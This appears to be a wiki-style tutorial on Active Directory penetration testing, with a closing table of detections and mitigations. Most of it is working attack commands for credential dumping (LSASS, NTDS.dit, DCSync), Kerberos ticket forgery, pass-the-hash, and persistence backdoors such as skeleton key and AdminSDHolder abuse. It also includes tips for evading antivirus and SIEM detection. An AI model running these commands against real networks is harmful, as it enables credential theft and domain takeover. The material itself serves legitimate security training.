Active Directory Penetration Testing

Specific typographical quirks, broken/nonexistent links, broken/misused templates Active Directory Penetration Testing Security 50% This guide covers the methodology and techniques used by security professionals to assess the security posture of Microsoft Active Directory (AD) environments. It is intended for use in authorized penetration tests and educational lab environments only. Introduction Active Directory (AD) is Microsoft's directory service used for identity and access management in enterprise networks. Because AD controls authentication and authorization for Windows environments, it is a primary target in penetration tests and real-world attacks. This guide follows the standard penetration testing lifecycle: Reconnaissance Initial Access Privilege Escalation Lateral Movement Domain Compromise Persistence Reporting Legal Disclaimer All techniques described here must only be performed on systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal and unethical. Lab Setup To practice safely, use a dedicated lab environment such as: GOAD (Game of Active Directory) — a vulnerable AD lab AutomatedLab — automated Windows lab deployment Own virtual machines with Windows Server (evaluation licenses available from Microsoft) Recommended tools: Kali Linux (attack machine) Windows Server 2019/2022 (domain controller) Windows 10/11 (workstations) Reconnaissance External Reconnaissance Before touching the network, gather OSINT:# Enumerate DNS records nslookup -type=SRV _ldap._tcp.dc._msdcs.domain.local dig _kerberos._tcp.domain.local SRV # Discover domain controllers via LDAP nmap -p 389,636,3268,3269 --open 192.168.1.0/24 # BloodHound collection (once inside the network) SharpHound.exe --CollectionMethods All --Domain domain.local Internal Enumeration Once on the network, enumerate the AD environment:# Built-in PowerShell AD module Get-ADDomain Get-ADForest Get-ADUser -Filter * -Properties * Get-ADGroup -Filter * | Where-Object { $_.GroupCategory -eq "Security" } Get-ADComputer -Filter * -Properties OperatingSystem # PowerView (from PowerSploit) Import-Module PowerView.ps1 Get-NetDomain Get-NetDomainController Get-NetUser | Select samaccountname, description, pwdlastset Get-NetGroup "Domain Admins" -FullData Find-LocalAdminAccess # Find machines where current user is local admin Initial Access Password Spraying Password spraying tests one or a few common passwords against many accounts to avoid lockout:# Kerbrute (Go binary — fast, low noise) kerbrute passwordspray -d domain.local --dc dc01.domain.local users.txt 'Password123!' # CrackMapExec crackmapexec smb dc01.domain.local -u users.txt -p 'Password123!' --continue-on-successLockout awareness: Always check the domain's lockout policy before spraying:Get-ADDefaultDomainPasswordPolicy AS-REP Roasting Accounts with Do not require Kerberos preauthentication set are vulnerable:# Find vulnerable accounts Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth # Request AS-REP hash Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt # Crack offline hashcat -m 18200 asrep_hashes.txt wordlist.txt Kerberoasting Service accounts with SPNs registered are vulnerable to offline password cracking:# Find Kerberoastable accounts Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName # Request service tickets Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt # Crack offline hashcat -m 13100 kerberoast_hashes.txt wordlist.txt Privilege Escalation Local Privilege Escalation Common misconfigurations that lead to local admin:# Automated enumeration winpeas.exe Invoke-AllChecks # PowerUp # Check for AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated # Unquoted service paths wmic service get name,pathname,startmode | findstr /i "auto" | findstr /v "C:\Windows" # Writable service binaries accesschk.exe -uwcqv "Users" * Token Impersonation With local admin or SeImpersonatePrivilege:# Check privileges whoami /priv # Potato attacks (if SeImpersonatePrivilege) # GodPotato, PrintSpoofer, RoguePotato PrintSpoofer.exe -i -c cmd.exe Credential Dumping LSASS Memory Dump # Task Manager (GUI) — lsass.exe → Create Dump File # comsvcs.dll (signed by Microsoft, bypasses most AV) tasklist | findstr lsass rundll32 C:\Windows\System32\comsvcs.dll MiniDump <PID> C:\Temp\lsass.dmp full # Parse with pypykatz (on Linux) pypykatz lsa minidump lsass.dmp NTDS.dit Extraction The NTDS.dit database contains all domain password hashes. It can only be extracted directly from a Domain Controller.# ntdsutil — built-in Windows tool, not flagged by AV ntdsutil "ac i ntds" "ifm" "create full C:\Temp\IFM" q q# Parse with DSInternals PowerShell module Install-Module -Name DSInternals -Force Import-Module DSInternals $key = Get-BootKey -SystemHivePath 'C:\Temp\IFM\registry\SYSTEM' Get-ADDBAccount -All ` -DBPath 'C:\Temp\IFM\Active Directory\ntds.dit' ` -BootKey $key | Format-Custom -View HashcatNT# Parse on Linux with impacket impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL Lateral Movement Pass-the-Hash (PtH) NTLM hashes can be used directly for authentication without cracking:# CrackMapExec crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH # Impacket psexec impacket-psexec -hashes :NTLM_HASH domain/Administrator@target # Impacket wmiexec impacket-wmiexec -hashes :NTLM_HASH domain/Administrator@target Pass-the-Ticket (PtT) # List current Kerberos tickets klist # Import a .kirbi ticket Rubeus.exe ptt /ticket:ticket.kirbi # Verify access dir \\dc01\c$ WinRM / PowerShell Remoting # Check if WinRM is open Test-NetConnection -ComputerName target -Port 5985 # Remote session Enter-PSSession -ComputerName target -Credential domain\Administrator # Run commands remotely Invoke-Command -ComputerName target -ScriptBlock { whoami; ipconfig } Domain Compromise DCSync Attack With Domain Admin or DCSync rights (DS-Replication-Get-Changes-All), request domain password hashes directly from a DC without touching NTDS.dit:# Impacket secretsdump (from Linux — DC never sees Mimikatz) impacket-secretsdump domain.local/DomainAdmin:Password@dc01.domain.local # Output includes: # Administrator:500:aad3b435...:NTLM_HASH::: # krbtgt:502:aad3b435...:KRBTGT_HASH::: Golden Ticket A Golden Ticket is a forged Kerberos TGT signed with the KRBTGT account's hash. It grants unlimited access to any resource in the domain for up to 10 years (by default), even if user passwords change. Requirements: KRBTGT NTLM hash (or AES256 key) Domain SID Domain name # Create and inject Golden Ticket with Rubeus (Windows) Rubeus.exe golden ` /aes256:KRBTGT_AES256_KEY ` /domain:domain.local ` /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX ` /user:Administrator ` /ptt # Verify klist dir \\dc01\c$# Create Golden Ticket with Impacket (Linux) impacket-ticketer ` -aesKey KRBTGT_AES256_KEY ` -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX ` -domain domain.local ` Administrator export KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc01.domain.localUse AES256 keys instead of RC4 (NTLM) hashes where possible. RC4-based Golden Tickets trigger Kerberos downgrade detections in modern SIEM/EDR solutions. Silver Ticket A Silver Ticket is a forged Kerberos service ticket (TGS) for a specific service. It does not require the KRBTGT hash — only the target service account's hash:# Forge a CIFS service ticket for a file server Rubeus.exe silver ` /service:cifs/fileserver.domain.local ` /rc4:SERVICE_ACCOUNT_NTLM_HASH ` /domain:domain.local ` /sid:S-1-5-21-XXXXXXXXXX ` /user:Administrator ` /ptt Persistence Skeleton Key Patches LSASS to allow any user to authenticate with a master password (requires domain admin, non-persistent across reboots):Invoke-Mimikatz -Command '"misc::skeleton"' # Now any account can authenticate with password "mimikatz" AdminSDHolder Abuse Modify AdminSDHolder ACL to grant persistent domain admin rights:# Add user to AdminSDHolder ACL Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' ` -PrincipalSamAccountName backdooruser ` -Rights All -Verbose # SDProp runs every 60 minutes and propagates rights to all protected groups DSRM Account Abuse The Directory Services Restore Mode (DSRM) local administrator account exists on every DC. Enable network login with its hash:# Enable DSRM network login (registry change on DC) reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 # Now use the DSRM hash with PTH impacket-secretsdump -hashes :DSRM_HASH "domain.local\Administrator@dc01" Detection and Mitigation Understanding attacks also helps defenders. Key mitigations: AttackDetectionMitigationKerberoastingEvent ID 4769 (RC4 TGS requests)Use strong service account passwords; AES encryptionAS-REP RoastingEvent ID 4768 without pre-authEnable pre-authentication on all accountsDCSyncEvent ID 4662 (DS-Replication)Monitor DCSync rights; use MDI/ATAGolden TicketEvent ID 4624 with unusual logonRotate KRBTGT password twice; enable MDIPass-the-HashEvent ID 4624 (Type 3 logon)Enable Protected Users group; disable NTLMLSASS DumpEvent ID 10 (Sysmon)Enable Credential Guard; PPL for LSASS Tools Reference Offensive Tools ToolLanguageUse CaseRubeusC#Kerberos attacks, ticket manipulationPowerSploitPowerShellEnumeration, exploitationBloodHoundJavaScript/PythonAD attack path visualizationImpacketPythonRemote exploitation, secretsdumpCrackMapExecPythonNetwork pentesting automationDSInternalsPowerShellNTDS.dit parsing, offline analysis Defensive Tools ToolUse CaseMicrosoft Defender for Identity (MDI)Detects AD attacks in real-timeBloodHound EnterpriseContinuous attack path monitoringPurple KnightAD security assessmentPing CastleAD risk assessment Further Reading MITRE ATT&CK — Credential Access Microsoft AD Documentation Active Directory Security Blog HackTricks — AD Methodology See Also Ethical Hacking Network Security Kerberos Authentication Protocol Windows Security